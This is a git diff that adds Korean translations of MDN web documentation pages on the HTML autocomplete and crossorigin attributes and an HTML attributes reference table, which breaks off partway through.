+ <dd>도로 주소. 여러 줄의 텍스트도 가능하며 두 번째 행정구역(시/군/구) 내에서 구분할 수 있는 주소여야 하지만, 도시 이름, 우편번호, 국가 이름은 포함해선 안됩니다.</dd>
+ <dt><code>address-line1</code>, <code>address-line2</code>, <code>address-line3</code></dt>
+ <dd>도로 주소의 각 줄. <code>street-address</code>가 존재하지 않는 경우에만 사용해야 합니다.</dd>
+ <dt><code>address-level4</code></dt>
+ <dd>4단계 주소에서 가장 상세한 {{anch("주소의 행정 단계", "행정구역")}}.</dd>
+ <dt><code>address-level3</code></dt>
+ <dd>최소 3단계 주소에서의 3단계 {{anch("주소의 행정 단계", "행정구역")}}.</dd>
+ <dt><code>address-level2</code></dt>
+ <dd>최소 2단계 주소에서의 2단계 {{anch("주소의 행정 단계", "행정구역")}}. 주소에 사용하는 행정구역을 두 단계로 분류하는 국가에서는 보통 도시, 마을 등입니다.</dd>
+ <dt><code>address-level1</code></dt>
+ <dd>첫 번째 {{anch("주소의 행정 단계", "행정구역")}}. 대한민국에서는 특별시·광역시·도, 미국에서는 주입니다.</dd>
+ <dt><code>country</code></dt>
+ <dd>국가 코드.</dd>
+ <dt><code>country-name</code></dt>
+ <dd>국가 이름.</dd>
+ <dt><code>postal-code</code></dt>
+ <dd>우편번호.</dd>
+ <dt><code>cc-name</code></dt>
+ <dd>신용카드 등 지불수단 소유자의 전체 이름. 보통 개별 이름 구성요소보다 이 쪽을 더 선호합니다.</dd>
+ <dt><code>cc-family-name</code></dt>
+ <dd>지불수단 소유자의 성.</dd>
+ <dt><code>cc-given-name</code></dt>
+ <dd>지불수단 소유자의 이름.</dd>
+ <dt><code>cc-additional-name</code></dt>
+ <dd>지불수단 소유자의 가운데 이름.</dd>
+ <dt><code>cc-number</code></dt>
+ <dd>신용카드 번호, 계좌번호 등 지불수단 식별 번호.</dd>
+ <dt><code>cc-exp</code></dt>
+ <dd>지불수단 유효기간. 보통 MM/YY 또는 MM/YYYY의 형태입니다.</dd>
+ <dt><code>cc-exp-month</code></dt>
+ <dd>지불수단 유효기간의 월.</dd>
+ <dt><code>cc-exp-year</code></dt>
+ <dd>지불수단 유효기간의 연도.</dd>
+ <dt><code>cc-csc</code></dt>
+ <dd>지불수단 보안 코드. 신용카드의 경우 뒷면의 세자리 숫자입니다.</dd>
+ <dt><code>cc-type</code></dt>
+ <dd>지불수단 유형. "Visa", "Master Card" 등.</dd>
+ <dt><code>transaction-currency</code></dt>
+ <dd>거래에 사용할 통화 단위.</dd>
+ <dt><code>transaction-amount</code></dt>
+ <dd>결제 양식에 나타나는 거래량, 금액. 단위는 <code>transaction-currency</code>에 나타난 값을 사용합니다.</dd>
+ <dt><code>language</code></dt>
+ <dd>선호 언어. <a href="https://ko.wikipedia.org/wiki/IETF_%EC%96%B8%EC%96%B4_%ED%83%9C%EA%B7%B8">유효한 BCP 47 언어 태그</a>여야 합니다.</dd>
+ <dt><code>bday</code></dt>
+ <dd>생년월일.</dd>
+ <dt><code>bday-day</code></dt>
+ <dd>생일.</dd>
+ <dt><code>bday-month</code></dt>
+ <dd>생월.</dd>
+ <dt><code>bday-year</code></dt>
+ <dd>생년.</dd>
+ <dt><code>sex</code></dt>
+ <dd>성별. "남성", "여성", "안드로진" 등 줄바꿈 없는 자유형식 텍스트입니다.</dd>
+ <dt><code>tel</code></dt>
+ <dd>국가 코드를 포함한 전체 전화번호. 개별 전화번호 구성요소가 필요한 경우 다음 값을 사용할 수 있습니다.
+ <dl>
+  <dt><code>tel-country-code</code></dt>
+  <dd>국가 코드. 1(북미), 82(대한민국) 등.</dd>
+  <dt><code>tel-national</code></dt>
+  <dd>국가 코드를 제외한 전체 전화번호. 지역번호도 포함합니다. 대한민국 전화번호 "82-2-555-6502"의 경우 "02-555-6502"가 됩니다.</dd>
+  <dt><code>tel-area-code</code></dt>
+  <dd>지역번호.</dd>
+  <dt><code>tel-local</code></dt>
+  <dd>국가 코드와 지역번호를 제외한 전화번호. 두 부분으로 나눌 수도 있으며, "555-6502"의 경우 <code>tel-local-prefix</code>는 "555", <code>tel-local-suffix</code>는 "6502"가 됩나다.</dd>
+ </dl>
+ </dd>
+ <dt><code>tel-extension</code></dt>
+ <dd>내선번호.</dd>
+ <dt><code>impp</code></dt>
+ <dd>인스턴트 메시지 프로토콜 엔드포인트의 URL. "xmpp:username@example.net" 등.</dd>
+ <dt><code>url</code></dt>
+ <dd>URL. 홈페이지, 회사 웹 사이트 주소 등 양식의 맥락에 맞는 값입니다.</dd>
+ <dt><code>photo</code></dt>
+ <dd>이미지 URL. 사람, 회사, 연락처 정보 등 양식의 맥락에 맞는 값입니다.</dd>
+</dl>
+
+<p><a href="https://html.spec.whatwg.org/multipage/forms.html#autofill">WHATWG 표준</a>을 방문해 더 많은 정보를 알아보세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  &lt;label for="cc-number"&gt;Enter your credit card number&lt;/label&gt;
+  &lt;input type="number" name="cc-number" id="cc-number" autocomplete="off"&gt;
+&lt;/div&gt;</pre>
+
+<h2 id="주소의_행정_단계">주소의 행정 단계</h2>
+
+<p>네 단계의 행정 단계(<code>address-level1</code>부터 <code>address-level4</code>까지)는 주소의 위치를 점차 좁아지는 범위로 나타냅니다. 각각의 국가는 서로 다른 행정구역 시스템을 사용하며 주소를 작성하는 순서도 다를 수 있습니다.</p>
+
+<p><code>address-level1</code>은 항상 제일 큰 단계이므로, 국가 이름을 제외한 주소에서 가장 넓은 범위를 나타냅니다.</p>
+
+<h3 id="유연한_양식_레이아웃">유연한 양식 레이아웃</h3>
+
+<p>각각의 국가가 서로 다른 주소 형태를 사용하며, 구성요소의 위치는 물론 개수도 다를 수 있다는 점을 고려했을 때, 가능하다면 사용자가 입력하는 주소가 속한 국가에 따라서 양식의 형태를 바꾸는 것이 도움이 될 것입니다.</p>
+
+<h3 id="예제_2">예제</h3>
+
+<p>행정구역 단위 사용법은 국가마다 다릅니다. 다음은 일부 예제로, 모든 상황을 포함하지는 않을 것입니다.</p>
+
+<h4 id="대한민국">대한민국</h4>
+
+<p>도로명주소는 다음과 같은 형태입니다.</p>
+
+<ul>
+ <li>서울특별시 종로구 세종로 1</li>
+ <li>경기도 수원시 팔달구 효원로 1</li>
+ <li><span class="add_txt">충청남도 홍성군 홍북읍 충남대로 21</span></li>
+</ul>
+
+<dl>
+ <dt><code><span class="add_txt">address-level1</span></code></dt>
+ <dd><span class="add_txt">시/도: "서울특별시", "경기도", "충청남도"</span></dd>
+ <dt><code>address-level2</code></dt>
+ <dd>시/군/구: "수원시", "홍성군", "종로구"</dd>
+ <dt><code>address-level3</code></dt>
+ <dd>구/읍/면: "팔달구", "홍북읍"
+ <div class="note"><strong>참고:</strong> 구/읍/면은 <code>address-level2</code>에 합쳐 "수원시 팔달구", "홍성군 홍북읍"의 형태로 작성하는 경우도 많습니다.</div>
+ </dd>
+ <dt><code>address-line1</code></dt>
+ <dd>도로명, 건물번호: "세종로 1", "효원로 1", "충남대로 21"</dd>
+ <dt><code>address-line2</code></dt>
+ <dd>상세주소. 아파트의 경우 동/호를 작성합니다.
+ <div class="note"><strong>참고:</strong> <code>street-address</code>를 사용하는 경우 도로명, 건물번호와 상세주소를 같이 작성합니다.</div>
+ </dd>
+</dl>
+
+<p>우편번호 찾기 기능을 사용하는 경우 행정구역과 도로명, 건물번호까지는 사용자가 직접 입력하지 않는 점도 유의하세요.</p>
+
+<h4 id="미국">미국</h4>
+
+<p>평범한 주소는 다음 형태입니다.</p>
+
+<p>432 Anywhere St<br>
+ Exampleville CA 95555</p>
+
+<p>미국에서의 가장 큰 행정구역은 "주"로, 위 주소에서는 "CA"("캘리포니아"의 미국 우정청 공식 줄임말)입니다. 따라서 <code>address-level1</code>은 주, 즉 "CA"를 사용합니다.</p>
+
+<p>두 번째 행정구역은 도시 혹은 마을 이름이므로 <code>adress-level2</code>는 "Examplevile"입니다.</p>
+
+<p>미국 주소는 3단계 이상을 사용하지 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "form-control-infrastructure.html#autofilling-form-controls:-the-autocomplete-attribute", "autocomplete")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.autocomplete")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{htmlelement("input")}} 요소.</li>
+ <li>{{htmlelement("select")}} 요소.</li>
+ <li>{{htmlelement("textarea")}} 요소.</li>
+ <li>{{htmlelement("form")}} 요소.</li>
+ <li><a href="/ko/docs/Learn/HTML/Forms">HTML 양식</a></li>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/attributes/crossorigin/index.html b/files/ko/web/html/attributes/crossorigin/index.html
new file mode 100644
index 0000000000..70131a4486
--- /dev/null
+++ b/files/ko/web/html/attributes/crossorigin/index.html
@@ -0,0 +1,96 @@
+---
+title: 'HTML attribute: crossorigin'
+slug: Web/HTML/Attributes/crossorigin
+translation_of: Web/HTML/Attributes/crossorigin
+---
+<div>{{draft}}</div>
+
+<p class="seoSummary">{{ HTMLElement("audio") }}, {{ HTMLElement("img") }}, {{ HTMLElement("link") }}, {{ HTMLElement("script") }}, {{ HTMLElement("video") }}에 있는 crossOrigin 속성은 element가 CORS 요청을 처리하는 방식을 명시하여 element가 fetch한 데이터를 <a href="/en-US/docs/Web/HTTP/CORS">CORS</a> 가능하게 합니다. 특정 element에서는 CORS 세팅 속성이 될 수도 있습니다.</p>
+
+<p>Media element의 <code>crossorigin</code> 속성은 CORS 세팅입니다.</p>
+
+<p>세팅 속성은 열거형이며 아래의 값을 가질 수 있습니다:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Keyword</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>anonymous</code></td>
+   <td>element의 CORS 요청의 credentials flag가 'same-origin'으로 지정됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>use-credentials</code></td>
+   <td>element의 CORS 요청의 crendentials flag가 'include'로 지정됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>""</code></td>
+   <td><code>crossorigin</code> 또는 <code>crossorigin=""</code>처럼 빈 값을 할당하는건 <code>anonymous</code>와 동일합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>기본적으로 (attribute를 명시하지 않으면) CORS 요청은 할 수 없습니다. "anonymous" 키워드는 쿠키를 통한 <strong>user credentials</strong> 교환이 필요 없음을 의미합니다. Same origin이 아닌 경우 client-side SSL certificates/HTTP 인증은 <a class="external" href="http://www.w3.org/TR/cors/#user-credentials">Terminology section of the CORS specification</a>에서 기술하고 있습니다.</p>
+
+<p>빈 문자열이나 잘못된 값일 경우 <code>anonymous</code> 와 동일하게 동작합니다.</p>
+
+<h3 id="예시_script_element의_crossorigin">예시: script element의 crossorigin</h3>
+
+<p>아래의 {{HTMLElement("script")}} element를 통해 브라우저로 하여금 <code>https://example.com/example-framework.js</code> 스크립트를 user-credential 없이 요청하도록 명시할 수 있습니다.</p>
+
+<pre class="brush: html">&lt;script src="https://example.com/example-framework.js" crossorigin="anonymous"&gt;&lt;/script&gt;</pre>
+
+<h3 id="예시_credential_포함한_Webmanifest">예시: credential 포함한 Webmanifest</h3>
+
+<p><a href="/en-US/docs/Web/Manifest">Manifest</a> 요청 시 credential이 필요하다면 same-origin의 리소스라 하여도  <code>use-credentials</code> 값을 사용해야 합니다.</p>
+
+<pre class="brush: html">&lt;link rel="manifest" href="/app.webmanifest" crossorigin="use-credentials"&gt;</pre>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">사양</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'infrastructure.html#cors-settings-attributes', 'CORS settings attributes')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#attr-img-crossorigin', 'crossorigin')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="&lt;script_crossorigin>">&lt;script crossorigin&gt;</h3>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("html.elements.script.crossorigin")}}</p>
+
+<h3 id="&lt;video_crossorigin>">&lt;video crossorigin&gt;</h3>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("html.elements.video.crossorigin")}}</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Attributes/rel">HTML attribute: <code>rel</code></a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/HTML/")}}</div>
diff --git a/files/ko/web/html/attributes/index.html b/files/ko/web/html/attributes/index.html
new file mode 100644
index 0000000000..12e0c02235
--- /dev/null
+++ b/files/ko/web/html/attributes/index.html
@@ -0,0 +1,733 @@
+---
+title: HTML 특성 참고서
+slug: Web/HTML/Attributes
+tags:
+  - HTML
+  - Reference
+translation_of: Web/HTML/Attributes
+---
+<div>{{HTMLSidebar}}</div>
+
+<p>HTML의 요소들은 <strong>특성</strong>을 가지고 있습니다. 특성은 사용자가 원하는 기준에 맞도록 요소를 설정하거나 다양한 방식으로 요소의 동작을 조절하기 위한 값을 말합니다.</p>
+
+<h2 id="특성_목록">특성 목록</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>특성 이름</th>
+   <th>요소</th>
+   <th>설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>accept</code></td>
+   <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}</td>
+   <td>서버에서 허용하는 유형의 목록. 보통 파일 유형을 의미합니다.</td>
+  </tr>
+  <tr>
+   <td><code>accept-charset</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>지원하는 문자 집합의 목록.</td>
+  </tr>
+  <tr>
+   <td><code>accesskey</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>해당 요소로 초점을 이동시키거나 활성화시키기 위한 키보드 단축키를 정의합니다.</td>
+  </tr>
+  <tr>
+   <td><code>action</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>폼(form)으로부터 전송된 정보를 처리할 프로그램의 URI입니다.</td>
+  </tr>
+  <tr>
+   <td><code>align</code></td>
+   <td>{{ HTMLElement("applet") }}, {{ HTMLElement("caption") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }},  {{ HTMLElement("hr") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }},  {{ HTMLElement("td") }},  {{ HTMLElement("tfoot") }} , {{ HTMLElement("th") }}, {{ HTMLElement("thead") }}, {{ HTMLElement("tr") }}</td>
+   <td>해당 요소의 가로 정렬 방식을 명시합니다.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/allow">allow</a></code></td>
+   <td>{{ HTMLElement("iframe") }}</td>
+   <td>Specifies a feature-policy for the iframe.</td>
+  </tr>
+  <tr>
+   <td><code>alt</code></td>
+   <td>{{ HTMLElement("applet") }}, {{ HTMLElement("area") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}</td>
+   <td>이미지를 표시할 수 없는 경우 표시할 대체 문구입니다.</td>
+  </tr>
+  <tr>
+   <td><code>async</code></td>
+   <td>{{ HTMLElement("script") }}</td>
+   <td>해당 스크립트는 비동기적으로 실행되어야함을 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td><code>autocapitalize</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>사용자가 입력하거나 편집하는 문구를 자동으로 대문자로 바꿀지 여부와 방법을 제어합니다.</td>
+  </tr>
+  <tr>
+   <td><code>autocomplete</code></td>
+   <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>이 폼 내의 컨트롤에 대해 브라우저가 지원하는 값 자동완성 기능을 기본으로 설정할 것인지를 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>페이지가 로드된 후 자동으로 해당 요소로 초점이 이동합니다.</td>
+  </tr>
+  <tr>
+   <td><code>autoplay</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>오디오나 비디오가 가능한 빠른 시점에 재생됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>background</code></td>
+   <td>{{ HTMLElement("body") }}, {{ HTMLElement("table") }}, {{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+   <td>Specifies the URL of an image file.
+    <div class="note"><strong>Note:</strong> Although browsers and email clients may still support this attribute, it is obsolete. Use CSS {{ Cssxref("background-image") }} instead.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code></td>
+   <td>{{ HTMLElement("body") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }}, {{ HTMLElement("tfoot") }}, {{ HTMLElement("td") }}, {{ HTMLElement("th") }}, {{ HTMLElement("tr") }}</td>
+   <td>
+    <p>요소의 배경색입니다.</p>
+
+    <div class="note">
+    <p><strong>주:</strong> 이 속성은 더 이상 사용하지 않습니다. CSS의 {{ Cssxref("background-color") }} 속성을 대신 사용하시기 바랍니다.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>border</code></td>
+   <td>{{ HTMLElement("img") }}, {{ HTMLElement("object") }}, {{ HTMLElement("table") }}</td>
+   <td>
+    <p>선의 굵기입니다.</p>
+
+    <div class="note">
+    <p><strong>주:</strong> 이 속성은 더 이상 사용하지 않습니다. CSS의 {{ Cssxref("border") }} 속성을 대신 사용하시기 바랍니다.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>buffered</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>이미 버퍼링된 미디어의 시간 범위를 가집니다.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/capture">capture</a></code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>From the {{SpecName('HTML Media Capture', '#the-capture-attribute','media capture')}}spec, specifies a new file can be captured.</td>
+  </tr>
+  <tr>
+   <td><code>challenge</code></td>
+   <td>{{ HTMLElement("keygen") }}</td>
+   <td>공개 키와 같이 전송된 challenge 문자열입니다.</td>
+  </tr>
+  <tr>
+   <td><code>charset</code></td>
+   <td>{{ HTMLElement("meta") }}, {{ HTMLElement("script") }}</td>
+   <td>페이지 또는 스크립트의 문자 인코딩을 선언합니다.</td>
+  </tr>
+  <tr>
+   <td><code>checked</code></td>
+   <td>{{ HTMLElement("command") }}, {{ HTMLElement("input") }}</td>
+   <td>페이지가 로딩될 때, 해당 요소가 체크되어 있어야하는지를 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td><code>cite</code></td>
+   <td>{{ HTMLElement("blockquote") }}, {{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("q") }}</td>
+   <td>변경 또는 인용구문의 출처를 가리키는 URI를 가집니다.</td>
+  </tr>
+  <tr>
+   <td><code>class</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>공통적인 속성으로 요소의 스타일을 지정할 때 CSS와 함께 자주 사용됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>code</code></td>
+   <td>{{ HTMLElement("applet") }}</td>
+   <td>로딩 후 실행할 애플릿의 클래스 파일의 URL을 명시합니다.</td>
+  </tr>
+  <tr>
+   <td><code>codebase</code></td>
+   <td>{{ HTMLElement("applet") }}</td>
+   <td>이 속성은 코드(code) 속성이 참조하는 애플릿의 .class 파일이 저장되어 있는 디렉토리의 절대경로 또는 상대경로 URL을 제공합니다.</td>
+  </tr>
+  <tr>
+   <td><code>color</code></td>
+   <td>{{ HTMLElement("basefont") }}, {{ HTMLElement("font") }}, {{ HTMLElement("hr") }}</td>
+   <td>
+    <p>이 속성은 미리 정의된 색상 명칭 또는 #RRGGBB 형식의 16진수로 명시된 색상으로 텍스트 색상을 설정한다.</p>
+
+    <div class="note">
+    <p><strong>주:</strong> 이 속성은 더 이상 사용하지 않습니다. CSS의 {{ Cssxref("color") }} 속성을 대신 사용하시기 바랍니다.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>cols</code></td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>textarea에 표시할 컬럼의 수를 정의한다.</td>
+  </tr>
+  <tr>
+   <td><code>colspan</code></td>
+   <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+   <td>colspan 속성은 어떤 셀이 확장되어야 할 컬럼의 수를 정의한다.</td>
+  </tr>
+  <tr>
+   <td><code>content</code></td>
+   <td>{{ HTMLElement("meta") }}</td>
+   <td>A value associated with <code>http-equiv</code> or <code>name</code> depending on the context.</td>
+  </tr>
+  <tr>
+   <td><code>contenteditable</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>Indicates whether the element's content is editable.</td>
+  </tr>
+  <tr>
+   <td><code>contextmenu</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>Defines the ID of a {{ HTMLElement("menu") }} element which will serve as the element's context menu.</td>
+  </tr>
+  <tr>
+   <td><code>controls</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>Indicates whether the browser should show playback controls to the user.</td>
+  </tr>
+  <tr>
+   <td><code>coords</code></td>
+   <td>{{ HTMLElement("area") }}</td>
+   <td>A set of values specifying the coordinates of the hot-spot region.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("img") }}, {{ HTMLElement("link") }}, {{ HTMLElement("script") }}, {{ HTMLElement("video") }}</td>
+   <td>How the element handles cross-origin requests</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://wiki.developer.mozilla.org/docs/Web/API/HTMLiframeElement/csp">csp</a></code> {{experimental_inline}}</td>
+   <td>{{ HTMLElement("iframe") }}</td>
+   <td>Specifies the Content Security Policy that an embedded document must agree to enforce upon itself.</td>
+  </tr>
+  <tr>
+   <td><code>data</code></td>
+   <td>{{ HTMLElement("object") }}</td>
+   <td>Specifies the URL of the resource.</td>
+  </tr>
+  <tr>
+   <td><code>data-*</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>Lets you attach custom attributes to an HTML element.</td>
+  </tr>
+  <tr>
+   <td><code>datetime</code></td>
+   <td>{{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("time") }}</td>
+   <td>Indicates the date and time associated with the element.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/decoding">decoding</a></code></td>
+   <td>{{ HTMLElement("img") }}</td>
+   <td>Indicates the preferred method to decode the image.</td>
+  </tr>
+  <tr>
+   <td><code>default</code></td>
+   <td>{{ HTMLElement("track") }}</td>
+   <td>Indicates that the track should be enabled unless the user's preferences indicate something different.</td>
+  </tr>
+  <tr>
+   <td><code>defer</code></td>
+   <td>{{ HTMLElement("script") }}</td>
+   <td>Indicates that the script should be executed after the page has been parsed.</td>
+  </tr>
+  <tr>
+   <td><code>dir</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>Defines the text direction. Allowed values are ltr (Left-To-Right) or rtl (Right-To-Left)</td>
+  </tr>
+  <tr>
+   <td><code>dirname</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>disabled</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("command") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Indicates whether the user can interact with the element.</td>
+  </tr>
+  <tr>
+   <td><code>download</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+   <td>Indicates that the hyperlink is to be used for downloading a resource.</td>
+  </tr>
+  <tr>
+   <td><code>draggable</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>Defines whether the element can be dragged.</td>
+  </tr>
+  <tr>
+   <td><code>dropzone</code></td>
+   <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+   <td>Indicates that the element accept the dropping of content on it.</td>
+  </tr>
+  <tr>
+   <td><code>enctype</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>Defines the content type of the form date when the <code>method</code> is POST.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/enterkeyhint">enterkeyhint</a></code> {{experimental_inline}}</td>
+   <td>{{ HTMLElement("textarea") }}, <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/contenteditable"><code>contenteditable</code></a></td>
+   <td>The <a href="https://html.spec.whatwg.org/dev/interaction.html#input-modalities:-the-enterkeyhint-attribute"><code>enterkeyhint</code></a> specifies what action label (or icon) to present for the enter key on virtual keyboards. The attribute can be used with form controls (such as the value of <code>textarea</code> elements), or in elements in an editing host (e.g., using <code>contenteditable</code> attribute).</td>
+  </tr>
+  <tr>
+   <td><code>for</code></td>
+   <td>{{ HTMLElement("label") }}, {{ HTMLElement("output") }}</td>
+   <td>Describes elements which belongs to this one.</td>
+  </tr>
+  <tr>
+   <td><code>form</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("label") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Indicates the form that is the owner of the element.</td>
+  </tr>
+  <tr>
+   <td><code>formaction</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("button") }}</td>
+   <td>Indicates the action of the element, overriding the action defined in the {{ HTMLElement("form") }}.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/formenctype">formenctype</a></code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}</td>
+   <td>If the button/input is a submit button (<code>type="submit"</code>), this attribute sets the encoding type to use during form submission. If this attribute is specified, it overrides the <code>enctype</code> attribute of the button's <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/form">form</a> owner.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/formmethod">formmethod</a></code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}</td>
+   <td>If the button/input is a submit button (<code>type="submit"</code>), this attribute sets the submission method to use during form submission (<code>GET</code>, <code>POST</code>, etc.). If this attribute is specified, it overrides the <code>method</code> attribute of the button's <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/form">form</a> owner.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/formnovalidate">formnovalidate</a></code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}</td>
+   <td>If the button/input is a submit button (<code>type="submit"</code>), this boolean attribute specifies that the form is not to be validated when it is submitted. If this attribute is specified, it overrides the <code>novalidate</code> attribute of the button's <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/form">form</a> owner.</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/formtarget">formtarget</a></code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}</td>
